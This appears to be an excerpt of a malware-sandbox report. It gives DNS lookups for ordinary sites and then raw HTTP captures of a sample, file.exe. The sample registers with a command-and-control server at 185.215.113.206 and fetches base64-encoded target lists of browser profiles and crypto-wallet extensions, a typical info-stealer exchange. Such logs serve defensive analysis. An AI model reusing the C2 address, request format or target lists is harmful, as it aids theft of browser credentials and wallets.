Nov 27, 2024 18:00:25.243087053 CET	1.1.1.1	192.168.2.7	0x9fa	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.243957996 CET	1.1.1.1	192.168.2.7	0x1c60	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.243957996 CET	1.1.1.1	192.168.2.7	0x1c60	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.260606050 CET	1.1.1.1	192.168.2.7	0xe12e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.260606050 CET	1.1.1.1	192.168.2.7	0xe12e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.260915041 CET	1.1.1.1	192.168.2.7	0x50ea	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.260915041 CET	1.1.1.1	192.168.2.7	0x50ea	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.260915041 CET	1.1.1.1	192.168.2.7	0x50ea	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.296890020 CET	1.1.1.1	192.168.2.7	0x352d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.339368105 CET	1.1.1.1	192.168.2.7	0xcc1a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.339521885 CET	1.1.1.1	192.168.2.7	0xd9a7	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.339521885 CET	1.1.1.1	192.168.2.7	0xd9a7	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.410593987 CET	1.1.1.1	192.168.2.7	0x8f2c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.418883085 CET	1.1.1.1	192.168.2.7	0x51fa	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 27, 2024 18:00:25.520581007 CET	1.1.1.1	192.168.2.7	0x5811	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.582206011 CET	1.1.1.1	192.168.2.7	0xa177	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 27, 2024 18:00:25.623634100 CET	1.1.1.1	192.168.2.7	0x44d7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.723571062 CET	1.1.1.1	192.168.2.7	0x9e90	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.778063059 CET	1.1.1.1	192.168.2.7	0x9861	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 27, 2024 18:00:25.832391977 CET	1.1.1.1	192.168.2.7	0x4716	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.160378933 CET	1.1.1.1	192.168.2.7	0x2b65	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.199275017 CET	1.1.1.1	192.168.2.7	0x7050	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.199347973 CET	1.1.1.1	192.168.2.7	0x6ab8	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.504646063 CET	1.1.1.1	192.168.2.7	0x4a92	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.614301920 CET	1.1.1.1	192.168.2.7	0x3a37	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.614408016 CET	1.1.1.1	192.168.2.7	0xa71f	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.614408016 CET	1.1.1.1	192.168.2.7	0xa71f	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.618354082 CET	1.1.1.1	192.168.2.7	0x2fdf	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:26.618354082 CET	1.1.1.1	192.168.2.7	0x2fdf	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:27.763262033 CET	1.1.1.1	192.168.2.7	0x8a8e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528743029 CET	1.1.1.1	192.168.2.7	0xb8d7	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528765917 CET	1.1.1.1	192.168.2.7	0xb4a4	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:28.528765917 CET	1.1.1.1	192.168.2.7	0xb4a4	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.530661106 CET	1.1.1.1	192.168.2.7	0x5d07	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:28.530661106 CET	1.1.1.1	192.168.2.7	0x5d07	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.687843084 CET	1.1.1.1	192.168.2.7	0xe4f3	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.688606024 CET	1.1.1.1	192.168.2.7	0x5c15	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.718535900 CET	1.1.1.1	192.168.2.7	0xdbd	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.829818010 CET	1.1.1.1	192.168.2.7	0xb3e9	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 27, 2024 18:00:28.838892937 CET	1.1.1.1	192.168.2.7	0x876a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 27, 2024 18:00:28.838892937 CET	1.1.1.1	192.168.2.7	0x876a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 27, 2024 18:00:28.838892937 CET	1.1.1.1	192.168.2.7	0x876a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 27, 2024 18:00:28.838892937 CET	1.1.1.1	192.168.2.7	0x876a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 27, 2024 18:00:28.875240088 CET	1.1.1.1	192.168.2.7	0xa3e	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 27, 2024 18:00:28.992630005 CET	1.1.1.1	192.168.2.7	0x623c	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.992630005 CET	1.1.1.1	192.168.2.7	0x623c	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.992630005 CET	1.1.1.1	192.168.2.7	0x623c	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.992630005 CET	1.1.1.1	192.168.2.7	0x623c	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.053661108 CET	1.1.1.1	192.168.2.7	0x57c2	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:29.053661108 CET	1.1.1.1	192.168.2.7	0x57c2	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.053661108 CET	1.1.1.1	192.168.2.7	0x57c2	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.053661108 CET	1.1.1.1	192.168.2.7	0x57c2	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.053661108 CET	1.1.1.1	192.168.2.7	0x57c2	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.197561026 CET	1.1.1.1	192.168.2.7	0x72a	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.197561026 CET	1.1.1.1	192.168.2.7	0x72a	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.197561026 CET	1.1.1.1	192.168.2.7	0x72a	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.197561026 CET	1.1.1.1	192.168.2.7	0x72a	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.301500082 CET	1.1.1.1	192.168.2.7	0xb9f	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.301500082 CET	1.1.1.1	192.168.2.7	0xb9f	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.301500082 CET	1.1.1.1	192.168.2.7	0xb9f	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.301500082 CET	1.1.1.1	192.168.2.7	0xb9f	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.358912945 CET	1.1.1.1	192.168.2.7	0xdbea	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:29.358912945 CET	1.1.1.1	192.168.2.7	0xdbea	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:29.358912945 CET	1.1.1.1	192.168.2.7	0xdbea	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.518404007 CET	1.1.1.1	192.168.2.7	0x371d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	185.215.113.206	80	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:58:18.172557116 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 17:58:19.599805117 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 17:58:19.660023928 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 43 45 37 37 44 45 30 42 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="hwid"40CE77DE0B39786254513------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="build"mars------FHIIEHJKKECGCBFIIJDA--
Nov 27, 2024 17:58:20.195456028 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 45 35 5a 47 45 32 59 32 56 6a 5a 6d 4d 78 4d 6d 4d 79 59 6d 51 7a 4d 44 59 32 4d 6a 46 68 4d 6a 68 6c 4d 32 55 77 4d 6d 51 33 59 7a 63 32 4d 47 59 31 59 7a 68 6c 4d 32 49 33 5a 44 63 33 4d 47 46 6a 59 57 4e 68 4d 6a 4a 68 4d 6a 4e 68 4f 44 52 68 4f 54 4a 6a 59 7a 6b 32 4d 44 41 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OWE5ZGE2Y2VjZmMxMmMyYmQzMDY2MjFhMjhlM2UwMmQ3Yzc2MGY1YzhlM2I3ZDc3MGFjYWNhMjJhMjNhODRhOTJjYzk2MDA4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 27, 2024 17:58:20.196733952 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="message"browsers------HJJJECFIECBGDGCAAAEH--
Nov 27, 2024 17:58:20.663760900 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 27, 2024 17:58:20.663917065 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 27, 2024 17:58:20.665169001 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"plugins------BFIJEHCBAKFCAKFHCGDG--
Nov 27, 2024 17:58:21.125421047 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 